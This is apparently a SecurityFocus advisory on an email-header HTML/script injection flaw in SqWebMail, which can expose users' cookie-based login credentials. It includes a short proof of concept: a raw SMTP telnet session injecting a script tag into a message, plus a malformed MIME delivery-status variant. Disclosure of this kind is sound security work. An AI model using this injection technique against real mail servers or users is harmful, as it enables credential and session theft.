source: https://www.securityfocus.com/bid/10588/info

SqWebMail is reported to be prone to an email header HTML injection vulnerability. This issue presents itself due to a failure of the application to properly sanitize user-supplied email header strings.

The problem presents itself when an unsuspecting user views an email message containing malicious HTML and script code in the email header. 

An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials.

1) sending a raw email message with malformed headers, i.e.
"<script>alert(document.location)</script>":

ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<test@test.com>
250 ok
rcpt to:<user@mediaservice.net>
250 ok
data
354 go ahead
<script>alert(document.location)</script>
.
[...]

2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above).